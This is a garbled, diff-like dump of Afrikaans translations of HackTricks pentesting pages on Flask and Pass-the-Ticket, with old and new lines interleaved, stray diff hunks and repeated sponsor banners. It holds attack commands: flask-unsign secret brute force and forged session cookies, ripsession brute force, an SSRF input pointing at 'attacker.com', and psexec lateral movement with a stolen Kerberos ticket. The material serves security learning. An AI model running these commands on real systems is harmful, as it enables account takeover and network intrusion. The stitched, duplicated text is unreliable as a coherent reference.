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Translated ['network-services-pentesting/pentesting-web/flask.md', 'wind
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<details>
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<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
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<summary><strong>Leer AWS hak vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
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Ander maniere om HackTricks te ondersteun:
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* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
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* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
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* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
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* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
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* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
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* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
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* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
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* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
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* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
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</details>
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<figure><img src="../../.gitbook/assets/image (512).png" alt=""><figcaption></figcaption></figure>
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Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **werkstrome outomatiseer** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\
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Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=flask) om maklik te bou en **werkstrome outomatiseer** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\
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Kry Vandaag Toegang:
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{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
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{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=flask" %}
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**Waarskynlik, as jy 'n CTF speel, sal 'n Flask-toepassing verband hou met** [**SSTI**](../../pentesting-web/ssti-server-side-template-injection/)**.**
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**Waarskynlik as jy 'n CTF speel, sal 'n Flask-toepassing verband hou met** [**SSTI**](../../pentesting-web/ssti-server-side-template-injection/)**.**
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## Cookies
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## Koekies
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Verstek koekiesessienaam is **`session`**.
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### Decoder
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### Ontkoder
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Aanlyn Flask-koekiesontleder: [https://www.kirsle.net/wizards/flask-session.cgi](https://www.kirsle.net/wizards/flask-session.cgi)
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Aanlyn Flask-koekies ontkoder: [https://www.kirsle.net/wizards/flask-session.cgi](https://www.kirsle.net/wizards/flask-session.cgi)
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#### Handleiding
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Kry die eerste deel van die koekie tot by die eerste punt en Base64-ontsleutel dit>
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Kry die eerste deel van die koekie tot by die eerste punt en Base64 ontsluit dit>
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```bash
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echo "ImhlbGxvIg" | base64 -d
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```
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Die koekie word ook onderteken met 'n wagwoord
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Die koekie word ook onderteken met behulp van 'n wagwoord
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### **Flask-Unsign**
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@ -59,13 +59,13 @@ flask-unsign --wordlist /usr/share/wordlists/rockyou.txt --unsign --cookie '<coo
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```bash
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flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'
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```
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#### Ondertekening met behulp van ouer weergawes (legasi)
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#### Ondertekening met behulp van ou erfenis (ou weergawes)
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```bash
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flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy
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```
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### **RIPsession**
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Opdraglynwerktuig om webwerwe te kragtig aan te val deur koekies wat geskep is met flask-unsign.
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Opdraglynwerktuig om webwerwe te kragtig aan te val deur koekies te gebruik wat geskep is met flask-unsign.
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{% embed url="https://github.com/Tagvi/ripsession" %}
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```bash
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@ -77,7 +77,7 @@ ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s p
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## Flask Proksi na SSRF
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[**In hierdie skryfstuk**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) word verduidelik hoe Flask 'n versoek toelaat wat begin met die karakter "@":
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[**In hierdie uiteensetting**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) word verduidelik hoe Flask 'n versoek toelaat wat begin met die karakter "@":
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```http
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GET @/ HTTP/1.1
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Host: target.com
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@ -98,25 +98,27 @@ return get(f'{SITE_NAME}{path}').content
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app.run(host='0.0.0.0', port=8080)
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```
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Kan toelaat om iets soos "@attacker.com" in te voer om 'n **SSRF** te veroorsaak.
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```html
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<p>Kan toelaat om iets soos "@attacker.com" in te voer om 'n **SSRF** te veroorsaak.</p>
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<figure><img src="../../.gitbook/assets/image (512).png" alt=""><figcaption></figcaption></figure>
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Gebruik [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) om maklik **werkstrome te bou** en outomatiseer met die wêreld se **mees gevorderde** gemeenskapsinstrumente.\
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Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=flask) om maklik te bou en **werkstrome outomaties** aangedryf deur die wêreld se **mees gevorderde** gemeenskaplike gereedskap.\
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Kry Toegang Vandag:
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{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
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{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=flask" %}
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<details>
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<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
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<summary><strong>Leer AWS hak van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
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||||
Ander maniere om HackTricks te ondersteun:
|
||||
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||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* As jy wil sien jou **maatskappy geadverteer in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
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* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
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||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
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* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
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* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
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</details>
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```
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@ -6,7 +6,7 @@
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Ander maniere om HackTricks te ondersteun:
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||||
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* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
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* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
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* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
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||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
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* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
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@ -17,21 +17,21 @@ Ander maniere om HackTricks te ondersteun:
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<figure><img src="../../.gitbook/assets/image (45).png" alt=""><figcaption></figcaption></figure>
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\
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Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **outomatiseer werkafvloei** aangedryf deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\
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Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=pass-the-ticket) om maklik te bou en **outomatiseer werkstrome** aangedryf deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\
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Kry Vandaag Toegang:
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{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
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{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=pass-the-ticket" %}
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## Gee Die Kaartjie Oor (PTT)
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## Gee die Kaartjie Oor (PTT)
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In die **Gee Die Kaartjie Oor (PTT)** aanvalsmetode, steel aanvallers **'n gebruiker se outentiseringskaartjie** in plaas van hul wagwoord of hashtwaardes. Hierdie gesteelde kaartjie word dan gebruik om die gebruiker te **impersoneer**, wat ongemagtigde toegang tot hulpbronne en dienste binne 'n netwerk verkry.
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In die **Gee die Kaartjie Oor (PTT)** aanvalsmetode, steel aanvallers **'n gebruiker se outentiseringskaartjie** in plaas van hul wagwoord of hasjwaardes. Hierdie gesteelde kaartjie word dan gebruik om die gebruiker te **impersoneer**, wat ongemagtigde toegang tot hulpbronne en dienste binne 'n netwerk verkry.
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**Lees**:
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* [Oes kaartjies vanaf Windows](../../network-services-pentesting/pentesting-kerberos-88/harvesting-tickets-from-windows.md)
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* [Oes kaartjies vanaf Linux](../../network-services-pentesting/pentesting-kerberos-88/harvesting-tickets-from-linux.md)
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### **Ruiling van Linux- en Windows-kaartjies tussen platforms**
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### **Ruiling van Linux en Windows kaartjies tussen platforms**
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Die [**ticket\_converter**](https://github.com/Zer1t0/ticket\_converter) hulpmiddel omskep kaartjieformate deur net die kaartjie self en 'n uitvoerlêer te gebruik.
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```bash
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python ticket_converter.py velociraptor.kirbi velociraptor.ccache
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Converting kirbi => ccache
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```
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In Windows kan [Kekeo](https://github.com/gentilkiwi/kekeo) gebruik word.
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### Skuif die Kaartjie Aanval
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### Pass The Ticket Aanval
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{% code title="Linux" %}
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In Windows [Kekeo](https://github.com/gentilkiwi/kekeo) kan gebruik word.
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```bash
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export KRB5CCNAME=/root/impacket-examples/krb5cc_1120601113_ZFxZpK
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python psexec.py jurassic.park/trex@labwws02.jurassic.park -k -no-pass
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@ -69,14 +67,14 @@ klist #List tickets in cache to cehck that mimikatz has loaded the ticket
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<figure><img src="../../.gitbook/assets/image (45).png" alt=""><figcaption></figcaption></figure>
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\
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Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik en **outomatiese werksvloei** te bou wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapsinstrumente.\
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Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=pass-the-ticket) om maklik en **outomatiese werksvloei** te bou wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapsinstrumente.\
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Kry Toegang Vandag:
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{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
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{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=pass-the-ticket" %}
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<details>
|
||||
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<summary><strong>Leer AWS hak van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
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<summary><strong>Leer AWS hakwerk van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
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||||
Ander maniere om HackTricks te ondersteun:
|
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